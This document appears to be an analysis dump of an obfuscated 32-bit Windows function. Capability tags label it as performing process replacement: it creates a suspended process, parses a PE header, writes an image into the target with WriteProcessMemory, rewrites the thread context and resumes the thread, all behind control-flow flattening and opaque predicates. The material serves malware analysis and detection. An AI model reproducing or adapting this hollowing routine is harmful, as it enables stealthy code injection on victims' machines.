Function at 0x10002310
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [0x10063800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x160], 0xb2e778a3
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
sub eax, 0x84603d33
je 0x10004698
jmp 0x1000234c
mov eax, dword [ebp - 0x164]
sub eax, 0x8bdf637a
je 0x100038dd
jmp 0x10002362
mov eax, dword [ebp - 0x164]
sub eax, 0x8eaaa01f
je 0x10004289
jmp 0x10002378
mov eax, dword [ebp - 0x164]
sub eax, 0x93276f5c
je 0x1000462a
jmp 0x1000238e
mov eax, dword [ebp - 0x164]
sub eax, 0x992bb75c
je 0x10004417
jmp 0x100023a4
mov eax, dword [ebp - 0x164]
sub eax, 0x9ed70f5f
je 0x10003bbf
jmp 0x100023ba
mov eax, dword [ebp - 0x164]
sub eax, 0x9f07c897
je 0x1000409f
jmp 0x100023d0
mov eax, dword [ebp - 0x164]
sub eax, 0x9ff1d6f6
je 0x100042f4
jmp 0x100023e6
mov eax, dword [ebp - 0x164]
sub eax, 0xa20b0b4a
je 0x10003f7d
jmp 0x100023fc
mov eax, dword [ebp - 0x164]
sub eax, 0xa5a7185d
je 0x10004189
jmp 0x10002412
mov eax, dword [ebp - 0x164]
sub eax, 0xa5d91255
je 0x10003dfd
jmp 0x10002428
mov eax, dword [ebp - 0x164]
sub eax, 0xa5ed99d1
je 0x100048d3
jmp 0x1000243e
mov eax, dword [ebp - 0x164]
sub eax, 0xa6439885
je 0x100036c9
jmp 0x10002454
mov eax, dword [ebp - 0x164]
sub eax, 0xa7b52470
je 0x10004521
jmp 0x1000246a
mov eax, dword [ebp - 0x164]
sub eax, 0xa7f284d9
je 0x10002cd0
jmp 0x10002480
mov eax, dword [ebp - 0x164]
sub eax, 0xad2a72c4
je 0x10004536
jmp 0x10002496
mov eax, dword [ebp - 0x164]
sub eax, 0xb114af08
je 0x10004648
jmp 0x100024ac
mov eax, dword [ebp - 0x164]
sub eax, 0xb1e38ff6
je 0x1000337e
jmp 0x100024c2
mov eax, dword [ebp - 0x164]
sub eax, 0xb1fc66ab
je 0x10003215
jmp 0x100024d8
mov eax, dword [ebp - 0x164]
sub eax, 0xb2e778a3
je 0x10002caf
jmp 0x100024ee
mov eax, dword [ebp - 0x164]
sub eax, 0xb5784dcc
je 0x10004217
jmp 0x10002504
mov eax, dword [ebp - 0x164]
sub eax, 0xb6f625d5
je 0x1000465a
jmp 0x1000251a
mov eax, dword [ebp - 0x164]
sub eax, 0xbbb50a51
je 0x10003d07
jmp 0x10002530
mov eax, dword [ebp - 0x164]
sub eax, 0xbe81d1fb
je 0x10002e13
jmp 0x10002546
mov eax, dword [ebp - 0x164]
sub eax, 0xbf8859f1
je 0x100034c9
jmp 0x1000255c
mov eax, dword [ebp - 0x164]
sub eax, 0xbfac0b4c
je 0x10004843
jmp 0x10002572
mov eax, dword [ebp - 0x164]
sub eax, 0xc064b923
je 0x10004226
jmp 0x10002588
mov eax, dword [ebp - 0x164]
sub eax, 0xc2f0bb78
je 0x10003157
jmp 0x1000259e
mov eax, dword [ebp - 0x164]
sub eax, 0xc357eee3
je 0x1000482e
jmp 0x100025b4
mov eax, dword [ebp - 0x164]
sub eax, 0xc3bc2a74
je 0x10003ee6
jmp 0x100025ca
mov eax, dword [ebp - 0x164]
sub eax, 0xc54b4311
je 0x10002d9d
jmp 0x100025e0
mov eax, dword [ebp - 0x164]
sub eax, 0xc7a3f248
je 0x10003d16
jmp 0x100025f6
mov eax, dword [ebp - 0x164]
sub eax, 0xc7cf1261
je 0x10002f19
jmp 0x1000260c
mov eax, dword [ebp - 0x164]
sub eax, 0xc888a376
je 0x10004503
jmp 0x10002622
mov eax, dword [ebp - 0x164]
sub eax, 0xcb9eb4db
je 0x10003d67
jmp 0x10002638
mov eax, dword [ebp - 0x164]
sub eax, 0xcc26bd45
je 0x10004587
jmp 0x1000264e
mov eax, dword [ebp - 0x164]
sub eax, 0xcc84f450
je 0x10003aae
jmp 0x10002664
mov eax, dword [ebp - 0x164]
sub eax, 0xcc91f13a
je 0x10004639
jmp 0x1000267a
mov eax, dword [ebp - 0x164]
sub eax, 0xcf040c6b
je 0x10003006
jmp 0x10002690
mov eax, dword [ebp - 0x164]
sub eax, 0xd43e2081
je 0x100030c0
jmp 0x100026a6
mov eax, dword [ebp - 0x164]
sub eax, 0xd748e955
je 0x1000487f
jmp 0x100026bc
mov eax, dword [ebp - 0x164]
sub eax, 0xd89ce2f4
je 0x10002e73
jmp 0x100026d2
mov eax, dword [ebp - 0x164]
sub eax, 0xda446f72
je 0x1000385b
jmp 0x100026e8
mov eax, dword [ebp - 0x164]
sub eax, 0xdaab3a3e
je 0x10003acf
jmp 0x100026fe
mov eax, dword [ebp - 0x164]
sub eax, 0xe1b0c2d9
je 0x10003981
jmp 0x10002714
mov eax, dword [ebp - 0x164]
sub eax, 0xe9320987
je 0x10003bed
jmp 0x1000272a
mov eax, dword [ebp - 0x164]
sub eax, 0xf2541a73
je 0x10004303
jmp 0x10002740
mov eax, dword [ebp - 0x164]
sub eax, 0xf3488ec8
je 0x10003535
jmp 0x10002756
mov eax, dword [ebp - 0x164]
sub eax, 0xf7abd6bc
je 0x10004350
jmp 0x1000276c
mov eax, dword [ebp - 0x164]
sub eax, 0xf8fdd02e
je 0x1000354d
jmp 0x10002782
mov eax, dword [ebp - 0x164]
sub eax, 0xfb332cf5
je 0x10003224
jmp 0x10002798
mov eax, dword [ebp - 0x164]
sub eax, 0xfdaf0732
je 0x10004426
jmp 0x100027ae
mov eax, dword [ebp - 0x164]
sub eax, 0xff4438dd
je 0x10004795
jmp 0x100027c4
mov eax, dword [ebp - 0x164]
sub eax, 0x342e608
je 0x10002d76
jmp 0x100027da
mov eax, dword [ebp - 0x164]
sub eax, 0x370bf94
je 0x100047d4
jmp 0x100027f0
mov eax, dword [ebp - 0x164]
sub eax, 0x3e14dd6
je 0x10003b71
jmp 0x10002806
mov eax, dword [ebp - 0x164]
sub eax, 0x42ff42f
je 0x1000325a
jmp 0x1000281c
mov eax, dword [ebp - 0x164]
sub eax, 0x4bfeabb
je 0x100037c2
jmp 0x10002832
mov eax, dword [ebp - 0x164]
sub eax, 0x5c73aa6
je 0x10002ed5
jmp 0x10002848
mov eax, dword [ebp - 0x164]
sub eax, 0x630b597
je 0x100038ce
jmp 0x1000285e
mov eax, dword [ebp - 0x164]
sub eax, 0x96df56e
je 0x10003ed7
jmp 0x10002874
mov eax, dword [ebp - 0x164]
sub eax, 0xa52fc03
je 0x1000376d
jmp 0x1000288a
mov eax, dword [ebp - 0x164]
sub eax, 0xac8456d
je 0x100039bd
jmp 0x100028a0
mov eax, dword [ebp - 0x164]
sub eax, 0x13097c7d
je 0x10003679
jmp 0x100028b6
mov eax, dword [ebp - 0x164]
sub eax, 0x1489e8a0
je 0x100032d0
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x160], 0xa7f284d9
jmp 0x10004936
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4b800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
movzx edx, word [eax]
mov eax, 0xb114af08
mov ecx, 0x342e608
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x160], 0xc54b4311
jmp 0x10004936
mov ecx, dword [0x10064b38]
mov eax, dword [0x10064b34]
mov edx, ecx
add edx, 0x3c787fee
sub edx, 1
sub edx, 0x3c787fee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb6f625d5
mov ecx, 0xbe81d1fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0x12c]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xf1], al
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb6f625d5
mov ecx, 0xd89ce2f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dword [ebp - 0x160], 0x6540fe99
jmp 0x10004936
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005c20
add esp, 0xc
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0xe8]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x160], 0xc7cf1261
jmp 0x10004936
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a5b01b2
mov ecx, 0x42bded34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dl, byte [ebp - 0xe9]
mov eax, 0x7ebc0e7e
mov ecx, 0x67d9bdd6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov edx, dword [ebp - 0xe8]
mov eax, 0x93276f5c
mov ecx, 0x173b0a76
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xe4], eax
mov ecx, dword [0x10064b38]
mov eax, dword [0x10064b34]
mov edx, ecx
add edx, 0xf43cb05
sub edx, 1
sub edx, 0xf43cb05
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x84603d33
mov ecx, 0xb1fc66ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dword [ebp - 0x160], 0xfb332cf5
jmp 0x10004936
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0xa7b52470
mov ecx, 0x42ff42f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov ecx, dword [0x10064b38]
mov eax, dword [0x10064b34]
mov edx, ecx
sub edx, 0xf6c1ea5d
sub edx, 1
add edx, 0xf6c1ea5d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x24de25a6
mov ecx, 0x1489e8a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x464870d7
mov ecx, 0x3558fc81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dl, byte [ebp - 0xd9]
mov eax, 0xf8fdd02e
mov ecx, 0x6ef38b90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x160], 0xf8fdd02e
jmp 0x10004936
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x124]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x12c]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x12c]
add ecx, 0x1dd07a41
add ecx, 0x18
sub ecx, 0x1dd07a41
mov eax, dword [ebp - 0x12c]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov dword [eax], 0
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0x2cb6da88
jmp 0x10004936
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0x14
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x160], 0xa6439885
jmp 0x10004936
mov eax, dword [ebp - 0xc4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xc8]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov esi, dword [ebp - 0x110]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xcc]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x114]
mov edx, dword [eax]
mov eax, dword [ebp - 0x120]
mov esi, dword [eax]
mov eax, dword [ebp - 0x110]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x4b307105
mov ecx, 0xa52fc03
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x160], 0x4bfeabb
jmp 0x10004936
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0x10]
mov ecx, dword [ebp - 0xbc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0xc0]
mov eax, 0x4b307105
mov ecx, 0x47e71487
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xac], eax
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
mov edx, eax
add edx, 0xf4901a14
sub edx, 1
sub edx, 0xf4901a14
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff4438dd
mov ecx, 0x630b597
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dword [ebp - 0x160], 0x8bdf637a
jmp 0x10004936
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb0]
add ecx, eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov edx, dword [ebp - 0x120]
mov edx, dword [edx]
mov esi, dword [ebp - 0x110]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x8ca15b60
sub eax, edx
sub eax, 0x8ca15b60
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0x4b307105
jmp 0x10004936
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x160], 0x58a5043b
jmp 0x10004936
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x160], 0x36441dd6
jmp 0x10004936
mov dl, byte [ebp - 0x99]
mov eax, 0xfdaf0732
mov ecx, 0xdaab3a3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
mov edx, eax
sub edx, 0xe4827356
sub edx, 1
add edx, 0xe4827356
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7e7c3bc7
mov ecx, 0x7abc47b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dword [ebp - 0x160], 0x23d97a59
jmp 0x10004936
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
add ecx, 0xf1972a2e
add ecx, 8
sub ecx, 0xf1972a2e
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0xe9320987
jmp 0x10004936
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
mov edx, eax
add edx, 0xd78ecde6
sub edx, 1
sub edx, 0xd78ecde6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x370bf94
mov ecx, 0x52a109f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dword [ebp - 0x160], 0xc7a3f248
jmp 0x10004936
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
mov edx, eax
add edx, 0xcf4b6f0a
sub edx, 1
sub edx, 0xcf4b6f0a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc357eee3
mov ecx, 0xcb9eb4db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
mov edx, eax
sub edx, 0x1cd2c519
sub edx, 1
add edx, 0x1cd2c519
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc357eee3
mov ecx, 0x637a7e21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
mov edx, eax
add edx, 0xead0de5e
sub edx, 1
sub edx, 0xead0de5e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbfac0b4c
mov ecx, 0x693742b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dword [ebp - 0x160], 0xc3bc2a74
jmp 0x10004936
mov edx, dword [ebp - 0x90]
mov eax, 0xb5784dcc
mov ecx, 0x7b985574
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x10c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x100]
mov edx, dword [edx]
movzx ecx, word [ecx + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, ecx
xor edx, esi
and edx, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x8c], eax
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
mov edx, eax
sub edx, 0xfea2dc21
sub edx, 1
add edx, 0xfea2dc21
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3dedaabe
mov ecx, 0x2242ce4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x8c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x85], al
mov ecx, dword [0x10064b38]
mov eax, dword [0x10064b34]
mov edx, ecx
add edx, 0xc68fcc55
sub edx, 1
sub edx, 0xc68fcc55
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd748e955
mov ecx, 0x3480dc7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x160], 0x1cfaedb8
jmp 0x10004936
mov dword [ebp - 0x160], 0xc064b923
jmp 0x10004936
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x160], 0x28dd92fd
jmp 0x10004936
mov ecx, dword [ebp - 0x80]
sub ecx, 0x4d7fe25a
add ecx, 1
add ecx, 0x4d7fe25a
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
mov edx, eax
sub edx, 0x66931512
sub edx, 1
add edx, 0x66931512
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa5ed99d1
mov ecx, 0x9ff1d6f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dword [ebp - 0x160], 0xc7a3f248
jmp 0x10004936
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x160], 0x47d53d62
jmp 0x10004936
mov ecx, dword [0x10064b38]
mov eax, dword [0x10064b34]
mov edx, ecx
add edx, 0x7f435cdb
sub edx, 1
sub edx, 0x7f435cdb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23915399
mov ecx, 0x26d5fc47
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dword [ebp - 0x160], 0xfdaf0732
jmp 0x10004936
mov eax, dword [ebp - 0x12c]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx + 0xa4]
sub ecx, 0x11b24404
add ecx, 8
add ecx, 0x11b24404
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x138]
add ecx, 0x20b1c998
add ecx, 8
sub ecx, 0x20b1c998
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x160], 0xc888a376
jmp 0x10004936
mov eax, dword [ebp - 0x78]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x160], 0xa7b52470
jmp 0x10004936
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x160], 0xad2a72c4
jmp 0x10004936
mov eax, dword [0x10064b38]
mov ecx, dword [0x10064b34]
mov edx, eax
add edx, 0x531d6902
sub edx, 1
sub edx, 0x531d6902
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x276c75bc
mov ecx, 0xcc26bd45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov eax, dword [ebp - 0x74]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10064b38]
